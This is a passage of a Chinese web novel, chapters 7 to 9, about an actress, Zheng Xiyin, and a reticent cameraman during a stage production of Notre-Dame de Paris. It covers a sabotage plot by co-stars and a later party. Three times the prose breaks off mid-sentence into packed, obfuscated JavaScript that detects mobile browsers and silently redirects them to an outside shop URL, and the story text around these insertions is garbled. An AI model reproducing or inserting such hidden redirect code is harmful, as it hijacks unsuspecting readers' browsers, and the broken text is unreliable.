闪躲不及，极力隐藏的不堪，这样玩闹般被揭穿，如同腐烂生蛆的伤口，强迫着赤裸裸坦露人前，换成任何人，都完全有理由生气。 段方禹从她手里一把拽回棒球帽，却只是冷漠，“玩够了吧。” 原来他的声音，冷漠到极致，也还是会有这般刚毅无情，酷似冰刃的时候。 可怎么办呢，她还是很喜欢。 郑希音目不转睛盯着，看他将棒球帽重新戴上，强装起，仿佛什么都没发生过的样子。 静对片刻，她倏而淡漠一笑，然后开口，“好了，你可以走了。” 对面，段方禹完全猝不及防，“什么意思？” 她环抱双臂，耸肩，“如你所言，玩够了的意思。” 他默了默，不自觉蹙眉，又问：“因为我迟到？” 郑希音顿时忍俊不禁，待笑够了，仿佛当真丧失最初玩闹的兴致，径直擦过他，走向更衣间。 凉凉的话音，继而从帘帐内传出，“迟不迟到的不重要，半年内，只要我不传唤，你随意自由，想做什么做什么，直到合约期结束，届时酬金也不会少你半分。” 将她的话反复思索一遍，段方禹这下缓缓明白，“所以，你找我来，根本不是为了拍综艺。” 她没反驳，“不过摆脱麻烦的转圜罢了。” “但合同已经签了。” “所以钱不会少你，但做不做事我说了算，你是自由的。怎么，捡了如此大便宜，你还不舍得走吗？” 相隔几米，面对灰蓝色的沉厚帐帘，段方禹微垂下头，表情跌进一片暗默。 原谅他无法苟同。 “自由？你真的理解它的意思吗，这世上，只要有类似契约的存在，就不可能会有真正的自由……” 所以最有效的解脱办法，不是逃避，而是用最短的时间，完成任务，结束关系。 对面霎时也陷入诡异静默，几乎连穿衣的窸窸窣窣声，都消失了。 直到—— “那如果我不配合，你还能怎么拍？” 他答：“volg形式。” “哦？你是指全天24小时贴身记录，不止不休的那种吗？” 暧昧的尾调上挑，帐帘突然被一把拽开。 一身美艳红裙的郑希音，沐浴在璀璨夺目光晕里，笑得像只狐狸，“这主意……听起来倒很不错。” 段方禹无声翕合嘴唇，噎住几秒。 刚想反驳，恰逢敲门声响起。 打开的门缝里，米燕小心翼翼探进一颗脑袋，提醒郑希音抓紧时间，准备上场。 谈话无果，既然如此继续留在这，也无甚意义，段方禹索性提起挎包，预先行离开。 修细纤白的一只手却自上而下，不容反抗，将他直接按回沙发。 随后，在米燕目瞪口呆的注视下，和高鹏飞急急闯进门，“你们在干什么？！”的堂皇质问声里，郑希音充耳不闻。 她缓缓弯腰，眼对眼，鼻贴鼻，冲他魅惑一笑，“不是要我的24小时吗？那就在这里等我。” 7. 第 7 章 郑希音不止是个疯子，还是个骗子。 墙上挂钟已从上午十点，走至傍晚七点，可她，依然没有回来。 按灭无任何来电提示的手机亮屏，段方禹拎起包，下压帽檐，从沙发上站起，不敢相信，自己居然真的在这里等她，到这个时间。 休息室门被“砰”地甩上，干脆利落的。 在人烟寂静，几乎只余零星清扫人员的剧院后场，发出闷闷回声。 路过多面方型的窗户，橘黄路灯已代替日落爬上树梢，廊道里，光线逐渐被暗沉的湖蓝色取代。 他的影子快速而决绝地，自一格格透明玻璃窗上闪过，像道鬼魅阴影，急切地，想要离开光界，回到属于自己的地方。 却在这时，捕捉几下隐秘而空洞的声响。 他抬头，循声，望向左侧岔道尽头，那悬贴“女卫生间”标志的房间，视线滞留几秒，步伐却没有停顿。 直至稀稀松松的窃笑，如同暗夜作乱的老鼠，交织一起，从拐角窜出。 挽臂私语的两个年轻女人，一边奔跑，一边回头，差点碰瓷般撞上他后背，待定眼看，反被他的存在和全黑武装吓一跳。 段方禹微微侧首，便瞧她们紧张慌乱地越过他，头也不回逃离现场。 依稀认出了，是这些时日，一直和郑希音同台排练的两个配角。 恰逢背后这时又响—— “哃”、“哃”、“哃”...... 在空静而孤冷的剧院里，像极了因背叛受创的恶魔，划着诅咒，控诉低语。 他提拽肩膀挎包的手，松了又紧。 没有变化的表情，像不受影响继续行进的脚步，却在即将踏出连廊最后一层台阶时，不知为何，犹豫迟钝。 最终戛然而止。 — 温晚原以为会在这暗无天日的厕所隔间，被关到天荒地老。 就像她渺茫卑微的人生，入行话剧五年，仍只是个十八线的小小替补，出场机会屈指可数，有的话，也不过舞台上一闪而过。 无人在意，更无人知晓。 砸到泛红的拳头，最终顺门板无力垂落，渐渐被恐惧的抽泣取代。 温晚蹲滑在地，痛苦失声，连她自己都快要放弃自己的时候，没想这一次，会有人专门来救她。 取下封锁的木条，隔间门被打开，那一刹，她满面晶莹的水光，毫无防备对上他遮蔽严实的模样，呆呆失怔之后，才后知后觉惊惶。 好在对方反应很快地，后退几步。 借着稀薄天光，她才得以看清，那双即使被遮挡也难掩深邃如星眼睛里，只有短暂错愕，并无恶意。 仿佛因事实脱离了某种预想，从而闪过一丝，莫明。 待他恢复原状，开口，声音平冷且轻，“你没事吧。” “没事，没事，”温晚痴痴地回望他，待神思回定，赶紧擦干眼泪，撑着门框站起来，“谢谢你。” 段方禹微微点头，算作回应。 目光环视，确认了卫生间再无其他人，他二话不说，转身便走。 “等一下！”温晚急急在背后叫道。 段方禹稍稍回首，眉眼不解。 事实上，温晚也不知自己为何这么做，只是在想到之前，下意识，先叫住了他，“我……我……啊，我能不能跟你一起出去？我怕……” 她嗓音柔糯，欲言又止，某种程度来说，确找了个任谁都不忍拒绝的借口。 但没想到，他会答，“她们不会再回来了。” 说完，段方禹再度不乏礼貌颌首，径自离开。 温晚尴尬地咬住下唇，纠结几秒，还是提起脚步，小跑跟了上去。 也许对方根本不甚在意，但不知为何，怕他误会，她还是想解释，“我是因为偷听到有人对明天演出不利的计划，才被针对，关了起来。” 段方禹：“这跟我没关系。” 言下之意，为什么要说给他听？ 温晚只好又道，“你不是剧团的工作人员吗？我想起前几天，好像见过你同郑希音的助理讲话，倘若她的演出搞砸，你不怕剧院和工作受影响吗？” 显然，她并不知晓他的身份，表面关心，实则不过想借机再同他多说几句话。 未料，真的让段方禹放缓脚步，主动开口，“什么意思？” 温晚暗暗勾了唇角，转而抬头看他，才正色说，“明天话剧就正式演出了，那两人都是女配，我是其中之一的……替补，今天排练结束，我在后台偶然听见，她们计划明天故意破坏走位，绊倒郑希音，使她当场出丑……” 要知道，如此盛大的演出一旦被毁，加上最近系列丑闻，恐怕郑希音在这个行业，将永远再难翻身。 “所以我才……” 她话没说完，被段方禹面无表情打断，“你不打算告诉她吗？” “什么？” “告诉郑希音。” 温晚微微怔住，盯着他的眼睛，喃喃，“我本打算告诉她的，只是……” 只是，正因为自己这么打算，结果不小心被那两个女配撞破后，才被反锁在了卫生间。 她分明没做错什么，可如今面对他，不知为何，后半句，突然说不出口了。 手机铃适时打破沉默。 段方禹抬起屏幕只瞥了眼，便淡淡抛下一句，“我还有事，先走了。” 旋即掉头迈步。 温晚来不及反应愣在原地，眼见他快速消失于走廊尽头的背影，像一道无拘无束，来去自由的风。 只是这风，并非冲着她的方向。 — “不可能呀，希音姐五六点钟就结束排练了，还特意让我们所有人先走，奇怪，她没有去找你吗？可藏在她手机里的定位，分明还显示在剧——” 连接顺畅的通话里，米燕声音忽戛然而止。 她后知后觉，为一时不察而说漏嘴的信息懊恼。 但段方禹此刻无暇细究她的顾虑，简而言之问，“具体在哪？” 电话那端静顿几秒，似乎翻查过后，回答：“休息室。” 段方禹按掉通话，当即朝原路继续返回，一鼓作气推开休息室的门。 空无一人的冷寂房间，只化妆台上多出部银白色手机，点亮锁屏，果真是她。 她回来过。 可如今人又不知所踪…… 想到这，段方禹难掩烦躁地提了提帽檐，又摘下口罩，因急速奔跑而不匀称的呼吸，晕染上化妆台的镜面，渐渐变得模糊不清。 静默不动的片刻，是冷漠和犹豫在互相挣扎。 半晌，还是毅然决然扔下背包，再度提起一口气，他朝着剧场的方向，从前厅找到后场，从一楼跑到五楼，层层向上…… 最后，来到了天台。 飞奔着推开那扇经久失修的铁门，一眼望尽的平台上，依旧没半点人影。 段方禹双手撑腰，疲累而无力地喘着粗气，正像只无头苍蝇，在寂冷深沉的夜幕下踱步打转。 这时却听见—— “喂，你是在找我吗？” 他倏地回首抬头，面朝声音。 盈盈璀璨的面容映入眼帘，衬着漆黑夜幕，白皙到轻微反光，晚风吹起郑希音倚墙垂落的裙摆，红纱艳艳。 宛若开在黑色旷野，一株妖冶醒目的曼陀罗。 她玻璃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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向下，则是深渊万丈。 她一系列动作出来，简直行云流水，却看得段方禹心跳如擂，“你疯了，做什么！” 无视他的警告，郑希音竟然提脚，又往前走了两步，似顽劣的稚童一般，把跷跷板当成平衡木。 她目光含笑，却莫明更显阴冷地，眺望着脚下人潮汹涌，“只要我站在这里，信不信，不出一会儿，底下就会围满形形色色看热闹的人，潮涌一般，齐刷刷的，全都目不转睛盯着我——” 她转回头，说：“到那时，还怕被关起来，出不去吗？” 难以置信听完这番话，因慌张而不自觉朝她抬起的手臂，此时缓缓下降，直至垂落。 段方禹才恍然惊觉，自己失策了。 郑希音是个疯子。 这件众所周知而人人自危的事，并非从不存在，只不过，被他盲目而无知的，短暂遗忘了。 即便如此，“你还是先下来。” 郑希音却无动于衷，只静静看着，没有错过他因挫败而垂放的手掌，渐渐演变成拳头。 她倏地莞尔一笑，语气轻挑，“紧张什么，你又不是没站过。” 瞳孔骤然放大，盈满异样的色彩。 那一刹那，段方禹抬起头，内心无限波涛汹涌，但又说不出诡异的，很快平息。 就像浮于表面的创口注定了无法隐藏，他想，他那最卑劣龌龊、最不堪启齿的秘密，果然从一开始，就全部被她听见了。 8. 第 8 章 筹备已久的大型话剧《巴黎圣母院》，终于今日，在笙海大剧院正式开演。 这座位于城市CBD的建筑，面朝中心广场，背靠贯穿三区的黄霖江，隔岸是代表整个南华著名标志性的峰塔——笙海明珠。 与纸醉金迷的新兴场所不同，剧院就像这座城市里的老人，复古而气派的，隔岸观火数百年，依旧屹立不倒，暗藏过去时代最后的光辉和底蕴。 离下午2点开场还有一个小时，剧院内已门庭若市，座无虚席。 祝福演出成功的花圈，在宽阔的展厅区，从这头排到那头，鲜艳夺目的红色花圈，为郑希音独有，整整比其他五颜六色的加在一起，还要多出三倍。 有眼尖的更早发现，其中居然还有千润地产的名字！ 千润诶！生活在这座城市里几乎无人不知无人不晓，那可是全国数一数二的地产商，更称得掌握半个南华命脉的存在！就拿眼前CBD来说吧，任挑十处，背后恐怕就有三处，归属于它！ 而今，虽未详细署名，但能得以千润之名送上门的青睐，难怪了，业界时常疯传郑希音的背景神秘，深不可测。 幸好演出结束前，记者们通通被谢绝门外，不至喧宾夺主，否则，流言通稿怕是分分钟要盖过话剧本身，热火朝天了。 段方禹手持摄影机，从后场穿过重重人流来到前厅，短短一路，已听到不少议论。 途中，还与前往洗手间的何川，不痛不痒打了个照面。 自那天答应郑希音的邀约，第二日，段方禹回到京世提离职。 流程走了三天，期间这里发生的事，自然逃不过何川的大喇叭，在全公司传开，以至离开当天，同期、前辈甚至HR，纷纷强拉他一顿八卦，不得已才导致后来迟到。 跟随何川进行记录片拍摄的，听说很快，换成同期的金毛，王永亮。 越是熙攘的环境，仿佛，越是有一眼寻识同类的驱动。 人群中，段方禹刚踏上观众席台阶，远远便瞅见，中央控制区前方，金毛小伙王永亮积极地朝他呼唤招手。 微微颔首，算作回应，段方禹避开人流，绕到一处偏角的方位。 奈不住金毛主动翻越人海凑过来，叽叽喳喳，“你瞧，别看网上天天骂郑希音，又是抵制啊，又是驱逐的，骂得那叫一个昏天黑地，实际到了这种专业场合，硬碰硬的时候，她的人气还是很顶嘛！” 尤其抬头望二楼，两侧贵宾包厢也快络绎坐满时，王永亮不禁更加感慨。 毕竟相识一场，即使分道扬镳，多少仍有些同期的情分在，于是段方禹随口一问，“你怎么在这？” 王永亮答：“来替你顶人头啊。” 这种没营养的话术，正如一些传言，听听罢了，段方禹还没丧失基础分辨是非的能力。 在他明显不信的神色下，王永亮咯咯笑两声，随即抬手，指向遥远对面另一个忙碌的同期。 他实话实说，“其实那个才是代替你正经干活的，我呢，单纯凑凑热闹，反正闲着也是闲着。” 若没记错，马上正值电影节，段方禹又问，“你不用出外景？” 王永亮耸耸肩，“又不差我一个。” 想起初识那天，有关“我爷爷是总裁”的某些言论，段方禹默默垂头，不再作声。 闲闲地左顾右盼几下，王永亮没忍住无聊，开始八卦，“诶，听说你现在是郑希音钦定的导演，把综艺界王牌李永南都给干掉了！可以啊哥们，你这升职的速度，堪比咸鱼翻身啊！私下里都传你被郑希音潜规则了，要不要跟哥们嗯？说说实话？” 王永亮挤眉弄眼地笑，好一会儿，等不到段方禹做声，而专注于调整相机支架，像没听见他恶趣味的调侃。 他渐渐转换无趣的神色，嘟囔道：“还挺认真，可你找了这么个犄角旮旯的位置，能拍到什么？”说完顺势瞟过去。 谁知这一瞟，竟叫眼睛发亮，再难移开。 “我去！这不是徕卡M3的全球限量款嘛！你怎么会有？我记得02年就宣布停产了，最后一台，好像由国际知名摄影大师高湛亲身收藏，那可是摄影界的神啊！听说底下，还有他的刻字签名呢！” 在王永亮摩肩擦踵的激动下，段方禹半信半疑地翻开底盖。 居然真有高湛的签名。 段方禹自然识得这相机的不菲，但没想到，背后还有如此一段。 早前在后台，郑希音化妆间隙，将相机随手扔给他时，只说了句，“别人送的，我留着无用，你拿去玩吧。” “哦对了，”她又想起什么好玩似的，补充，“既然vlog要拍，不如我们来打个赌，如果今天视频让我满意，之后想怎么选题，任你。” 如此，也算就之前没谈拢的问题，各退一步。 段方禹目光停留相机之上，没超过一秒，转而目不斜视紧盯她，力图从其脸上找寻一星半点，对即将发生隐患的担忧。 然而，什么都没有。 也对，一个只身站在天台万丈边缘尚且谈笑自若的人，又怎么会在早已身经百炼的专业舞台上，任人宰割？ 更何况，她说了“以后”，不就代表怀揣绝对信心，或者早有筹备？ 果然，是他多虑了。 两人目光交汇，一切尽在不言中。 倒叫旁边观摩的高鹏飞云里雾里，不知发生过什么，只当他们之间，已达成愉快的合作。 于是为此高鹏飞很是殷勤地，不仅替段方禹弄到工作牌，赋予他临场拍摄的权利，还积极借来各种拍摄器械和工具，确保他的方便，可谓尽善尽美。 某种程度来说，郑希音有个还不错的经纪人。 “那她待你也不差啊，这么珍贵的相机说给就给了，还‘拿去玩吧’？” 王永亮学着想象中郑希音目空一切的语气，难掩酸溜溜的羡慕在里面。 他眼巴巴回望段方禹和相机，“我突然更加好奇了，郑希音到底是个什么样的人呐……” 更加？ “所以你是因为好奇她，才来的这里。”段方禹也很会抓重点。 王永亮低低憨笑两声，忽有点扭捏，“怎么说呢，其实我算她半个粉丝。” 段方禹挑眉，“你……经常看话剧？” 这语气，看不起谁呢！ 王泽彬挺挺胸脯，答，“电影粉丝不行啊。” 难怪只能算半个。 浅浅扯了下唇角，段方禹没再说话，将头继续埋回相机参数中。 只听身旁的人按捺不住兴奋，自顾自说：“确实诶，这还是我头一回看郑希音的话剧，都说她的现场买不了吃亏，买不到上当！” 王永亮手肘冲他撺掇几下，又说，“诶你呢，你之前看过吗？” 问题抛回来，段方禹微微弓腰，在暖橘色的明灯下，无声摇头。 抛开排练的断简残篇，其实，这也算他正式的一次。 第一次，说不准…… 也可能变为最后一次。 如果他没记错，计划搅局的两个女演员，会在话剧第三幕，差不多四分之三处上场。 美丽善良的流浪儿爱斯梅拉达，对英雄救美的骑士弗比斯一见倾心，偶然聚会重逢，在众多情敌贵女见证下，毫无防备，被当场揭露她那小心翼翼暗恋的心思。 卑微、羞愤、且屈辱。 正是这样的剧本帮衬下，配角们足以发挥专长，借着角色敌意使坏，不带任何表演的痕迹。 想象下，闪闪发光的女主角，在万众瞩目中华丽丽摔倒，舞台真作戏台，戏台成了笑台，看客们或惊呼，或嗤笑，兵荒马乱之际，摄影师的镜头堪比记者的笔，化作三千毛瑟枪，瞬间刷新和霸占全网的头版头条…… 郑希音的职业生涯，当真于此到头了。 思绪不由自主陷入想象的乱泽，段方禹轻蹙眉，王永亮瞧他动也不动，一时间，好似出神的厉害。 他刚想询问，恰逢话剧开场的提示钟声敲起。 如同提前敲起一道道惨烈的悲鸣。 “哦出来了，出来了。”王永亮小声呼唤。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16958032|193220||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>段方禹这才跟着回神，从架好的相机上方直腰，抬头。 棒球帽檐遮挡一半明亮的视野，却遮挡不住目光追随那道红裙瑰丽的身影，旋转、跳跃、前进。 焦黄色的追光，宛如最忠诚的拥护者，纤亮披撒下来，笼罩在她周身，于昏暗漆黑的剧场里，像绽放在瞳孔球面，一簇最为璀璨的光焰。 美艳似花，又火烈如歌。 他想，惯爱说场面废话的何川，但有一点，或许没错—— 融入话剧后，璀璨灯光下，一舞一跃一泪一笑都让人屏息的郑希音，的确有摄魂夺魄的魅力。 仿佛这些角色，生而为她。 这样的郑希音，就像活在虚梦里一只燕尾蝶，就算要结束，也该壮烈地焚身扑火，而绝非，以这种方式。 第二幕很快顺利结束，掌声经久热烈。 王永亮痴痴凝望舞台，沉浸在郑希音的出场里，几乎忘掉大半剧情。 转头，发现段方禹仍兢兢业业，专注于摄影画面。 直至幕布重新拉开，第三幕开始时，他突然将相机从支架上取下，握在手心，似乎下定某种主意。 镜头拉进，放大特写，撇弃了全景拍摄，反倒像……准备捕捉什么。 王永亮晃晃脑袋，完全搞不懂，这么犄角旮旯的地方，偏到连人都录不全，顶多抓拍更清晰，可有什么用？ 类似第三幕这样的群戏，本就重在场面，而非细节。 比如此刻，饰演爱斯梅拉达的郑希音，在鼓乐和曼妙的舞姿中再度出场，一众豪族贵女鄙夷而又嫉妒的簇拥中，她娇艳脱俗，宛若天降灿阳。 观众均被场面的华美感染，也就无人注意，那繁冗华服走位下暗藏的玄机。 王永亮随之移动眼睛，余光里，只瞧段方禹腰压的更深。 舞台上，男主演游朝的话筒音继续扬起，“可爱的美人儿，你叫什么名字？” “拉·爱斯梅拉达。”郑希音轻轻念出台词。 “一位小姐有这么个名字，真可怕！”女配们纷纷环绕讽笑。 其中一个隐秘推搡，另一个，则从后慢慢靠近，“不，你明明知道，她是一个女巫——” “巫”字的尾音还吊在半空。 伴随一道几不可闻的短促低呼，郑希音忽然像不小心绊倒，又像被人狠狠推了一把。 只是在那之前，她率先背对舞台，转了个方向，仿佛耐不住讽笑和屈辱，本要朝门外奔离，却好巧不巧因那一绊，撞倒在了多情骑士弗比斯的胸口。 舞台上空气似有几秒凝滞。 四目相对的刹那，好似被这一撞，撞出了火花四溅，也撞得心神荡漾，游朝反应极快地顺势将她扶住，搂入怀中。 一切发生在电光火石间，演员们的惊诧都还吊在胸口，爱斯梅拉达已经清醒过来，不乏羞怯地推开了他。 恰好衔接上舞台另端，男配偶然发现她暗恋弗比斯的秘密，传出惊呼。 丝滑且顺理成章的，就像早早设计好的巧思。 观众们无不跟随剧情转折，心神跌宕起伏，恍惚中，只越发赞叹演员们的演技炉火纯青。 尤其那些扮作贵女的女配，对女主赤裸裸的嫉妒和恨意，恰如其分，根本不像是演的。 第三幕就这样，在剧情推至新的高潮后，完美结束。 台下掌声雷动，称赞不绝。 王永亮从头到尾微张嘴巴，海狮般拍着双手，还未从余味中清醒，偶然瞥见追灯下，段方禹唇畔一闪而过的莫明弧度，尔后重新架起相机。 他悄悄朝右探头，想趁幕黑间隙，点开相机暂停键看看。 结果被立即挡住。 王永亮问：“你拍了什么？” 段方禹：“没什么。” 既然没啥，那他笑什么，还搞得这么神秘，见不得人似的。 王永亮直觉有猫腻，不禁更加好奇，“给我瞅瞅呗，是不是郑希音让你拍的，对她综艺有用？” 段方禹却轻飘飘关掉屏幕，“现在用不上了。” 9. 第 9 章 “郑小姐，你和流量鲜肉沈星宇的绯闻，至今双方都没否认，是打算默认恋情了吗？” “所以孟凡文是过去式了？听说他为此抑郁入院，不知你作何感想呢？” “这么说脚踏两只船是真的？” “你和千润地产的千总又有什么关系？据小道消息传，近期他砸重金购置豪华别墅，貌似金屋藏娇，那个人是你吗？” ...... 像逆行在夜晚的马路，闪光灯亮到刺眼，快门几乎没有间隔。 结束了主创群采后，单人采访厅里，郑希音被前前后后四五层记者，围堵的水泄不通。 未及卸妆，浓眉重彩的双眼闭了闭，再睁开时，她一个致命飞刀，朝左侧凉凉甩去。 高鹏飞当即干笑两声，冲严严实实挡在面前的记者们招了招手，“不是和大家说好了，跟话剧无关的问题，今日一概不回哈，见谅见谅。” 手举“瓜皮娱乐”话筒的记者抓住机会，死命挤到前头，“那话剧排练期发生的事呢？郑小姐，柠盟和你签约个人综艺的消息刚确认不久，负责执导的李永南就官宣退出，为此还挂上热搜，为什么？” “难道真如外界所传，李永南被一个籍籍无名的新人踩上位，更有业内人士透露，此事是你故意为之，不当众解释一下吗？” 这特么也叫跟话剧有关？ 不明显的钻空子嘛，听不懂人话似的！ 高鹏飞无奈贫嘴，刚想拿官腔反驳：一切解释权归属合作双方，莫轻信谣言，请耐心坐等官宣。 身后蓦地一声嗤笑。 郑希音抱手站在众目睽睽中心，抢先一步，温声细语开了口，“看李永南挣业绩挣得辛苦，我好心助人为乐，让他体验一把爆红的感觉而已。” 她眉目含笑，眼皮轻轻上掀，却自带无形的压迫感，“怎么，你见不得他红吗？” “......” 那娱记被怼得一时接不上茬。 郑希音不屑给他反应时间，下一秒，直接变化冷脸起身，朝背方通道，说走人就走人。 全然不顾身后此起彼伏的追问和呼喊。 好在高鹏飞经验积累够多，及时唤出保安，才拦住汹涌的人群。 眼望郑希音端的是潇洒决绝的背影，即使头疼欲裂，他还是得认命留下来善后。 — 米燕念了一路不好意思和让一让，才避开人来人往的工作人员，开辟条直径，让郑希音回到休息室。 推开门，一如既往，后者直奔沙发，瘫软下来闭目养神，活活像条脱水的鱼。 事实上，忙碌的整天下来，当真连水都没能喝几口。 赶紧将泡制润喉茶的保温杯递给她，米燕又从背包里翻找一次性拖鞋，顺带掏出大堆妨碍物，包括补妆用品和一台徕卡相机，放到矮桌上。 郑希音半阖半睁的眼睛，恍惚定格那相机几秒，尔后放下水杯，“他人呢？” 米燕：“嗯？” 她迷愣一会儿，顺郑希音目光瞄去，才反应答：“哦，你是说段方禹？那会儿他找过来将相机塞给我，说以后会自带设备，让我代替归还后，便先回去了。” “什么时候？” “单人采访开始没多久。” 纤臂伸长，将相机捞到眼前，郑希音懒懒翻开查看，一边又问，“除此之外，没说别的？” 米燕认真回想了下，发现确实无甚可想。 这可不怪她，就那么几个字的事，段方禹真真话少的跟他整个人一样，隐藏在暗淡冷漠的装束里，不希望世上任何人注意到他的存在般。 米燕只能再度摇头，“真没有。” 不仅多余的话没有，就连相机里，也是空空如也。 思及此，米燕悄咪咪抬眼，想看郑希音的反应，却发现，她只是嘴角冷淡扯了扯。 下一秒很是无情地，随手扔垃圾般，她将相机一抛，任它滚到沙发角落里，然后继续闭目眼神。 那模样，仿佛根本懒于细究，叫做段方禹的人的所作所为，更从头到尾都不曾将他的存在，放过心上。 想想也对，今日话剧虽完美落幕，但明后天演出继续，还有足足两日辛苦，正是需要蓄精养神的时候，哪还有余力再去关注其他杂人杂事。 对郑希音来说，任何人事重要性，都远不如话剧的万分之一。 但米燕多少有些于心不忍，虽寥寥数面，但同为打工人，她亲眼见证过段方禹对待这份工作的认真。 “也真是奇怪了，我分明瞧他拍了一整天啊，怎会啥都没有呢，连回收站也是空的……”米燕小声地喃喃自语。 数秒后，背对休憩的郑希音突然翻过身，睁开眼睛。 只见她伸手勾回角落相机，似重新确认什么，打开屏幕再按动几下，目光闪烁，然后挑起眉尾。 “你知道这回收站里，原本有两份样片，可现在没了……” 什么意思？ 米燕还以为被误会，连忙摆手，“不是我删的！” 郑希音也不解释，自顾自说下去：“若我没记错，如果相机设置了云端，那么清空的视频，也能恢复吧？” 若自动上传的话，米燕点点头。 郑希音轻笑，当即反手将相机抛给她，“算你两天假，两天后，我要这里面的东西恢复。” — 米燕揣着相机回剧院复命，已是第三日下午。 话剧在南华市最后一场公演成功收官，接下来，就是集体庆功宴。 后场准备室里，郑希音不紧不慢改装，不紧不慢换衣，情绪闲冷。 唯独对相机里恢复的一条条视频，保持别样兴趣。 出发庆功宴的最后一趟车队已敲门好几遍。 米燕左顾右盼，惊奇这种时候，居然没看到高鹏飞的身影，按照以往，他早该来回催促，急的跳脚了。 以前米燕也搞不懂，为什么郑希音对类似这样的社交活动，总爱答不理，甚至不惜对外烙下所谓“耍大牌”的标签。 但自从看过相机里的视频，她似乎明白了。 演员这条路十分不易，对别人而言，运气和机会稍纵即逝，所以舞台就像战场。但对于郑希音而言，舞台却像她修生养息、真正存活的地方。 台下才是她的战场。 就拿这次演出说吧，看似两个女配——苏燕燕及徐淼，设计她在后，实则饰演弗比斯的男主演游朝，暗地主动撩骚郑希音在前，而米燕早就听说，苏燕燕和游朝正偷偷进行着地下恋…… 当然，导演也不是傻子，正式演出第一天发现端倪，后来，就果断改换两位女配的替补上场。 可碍于话剧声誉，明面上终究没撕破脸，于是她们仍能正常出席庆功宴。 所以此间错综复杂，说恶性竞争也好，赤裸裸报复也罢，白日里各怀鬼胎的一群人，晚上却要在推杯换盏间，维持笑脸相迎，多讽刺啊。 难怪郑希音时常人前发疯。 有时候，米燕也禁不住胡思乱想，也许那不是疯，她只是懒得伪装，比别人都活得更清醒肆意罢了。 视频一条不漏看到最后，郑希音早已盘完头发，将相机放到旁边。 又坐了许久，她才蹙眉问道：“段方禹人呢？” 原来，她一直耗在这里，是为等他？ 米燕张了张嘴，但她刚回没多久，自然答不出，转头也不禁跟着疑惑。 是啊，怎么都消失了？ — 庆功宴已然进行一轮，主演之一的郑希音却迟迟未到场，各位资方脸面，多少有些挂不住。 高鹏飞只能替她先找借口，然后挨个过去，陪酒道歉。 导演冯青虽已年过半百，却不像其他大腕儿端架子，反倒很通情达理的，让高鹏飞代替嘱咐郑希音多休息，并且深谙年轻人和他们老辈的代沟，以及对这种酒局的抗拒，所以一轮结束，他便早早携了资方离场。 将夜晚的喧嚣留下，给所有年轻人。 待他们走后，欢呼声即起，战场马上由五星酒店，转至会所包厢。 中途，段方禹几次想离开，都被高鹏飞借口商讨综艺事宜，强拖着融入人群。 起初他没找到米燕，不过偶然遇见高鹏飞时，请求他将这两天的vlog素材，转交郑希音而已，万没想到，最后演变如此境况。 整整大波人，占去高档会所近二分之一包厢，最豪横的大间，毫无疑问，供给资方留下来继续社交的那些世家子弟。 而正因他们的存在，庆功宴早已名副其实。 之后一个人的到来，更将主场彻底颠倒，也让段方禹很快明白，高鹏飞之所以死死拖住他不放的原因—— 郭旭杰，这位高鹏飞自称利用几方人脉，特地邀请来的上宾。 他的父亲是海浪传媒的郭总，也就是，那个掌管热搜的海浪，母亲则是百跃集团的掌上明珠，旗下有头条、瓜皮等多个媒体平台。 而郭旭杰作为家中独子，可谓众星捧月，年纪轻轻便坐拥传媒界的半壁江山。 和在场的其他公子哥一样，含金汤匙的出生，让他们无论到哪都是焦点。 就连舞台上大放异彩的话剧演员们，如今也只 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16958033|193220||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 能一个个被挤到边角，靡丽诡谲的五彩灯光，从他们状似小丑的脸上晃过，嘻嘻哈哈陪着笑。 其中不乏三五张分外眼熟的面孔。 何川和王永亮同被邀请参宴，处境却大有不同，后者看起来与公子哥们十分熟稔，却不热络，一圈招呼打过后，竟主动拒绝邀坐，反缩到段方禹旁边呆着。 公子哥们的目光，这才偶然施舍般，从段方禹身上掠过。 在高鹏飞不遗余力的推介下，即便不情愿，他还是被迫，成为了全场焦点。 “段方禹……这名字，好像有点耳熟。” 一位西装革履、面如冠玉的少爷听说后，率先扬眉。 另个寸头纹眉的公子哥，当即大笑，“哈哈杨鑫，你这京世的太孙怎么当的，自家八卦都不上心，难怪被入职没几天的新人踩着京世头顶上了位。” 杨鑫翘腿后仰，这才后知后觉，“原来那个人，就是他啊。” 寸头男挤眉弄眼，劣笑，“这你能忍啊。” 捋了捋衬衫袖口褶皱，杨鑫垂眸，“京世的法则里，可没有忍。” 他都如此放话了，其他人自然看热闹不嫌事大，一个个陆续加入，拱火搭腔。 “那怎么着，今儿既然遇上了，小段不得以酒代茶，表表诚意？” “说到底不就为综艺宣传嘛，小事一桩，先喝了这几杯，权当替大家热热场。” “诶话到这，郑希音人呢？这种场合主人公居然迟到，该罚酒吧！要不，你也替她喝了？” “铁定该罚！这样，她迟到一分钟，你一杯酒怎么样？” “有意思，还是你丫会玩！” ...... 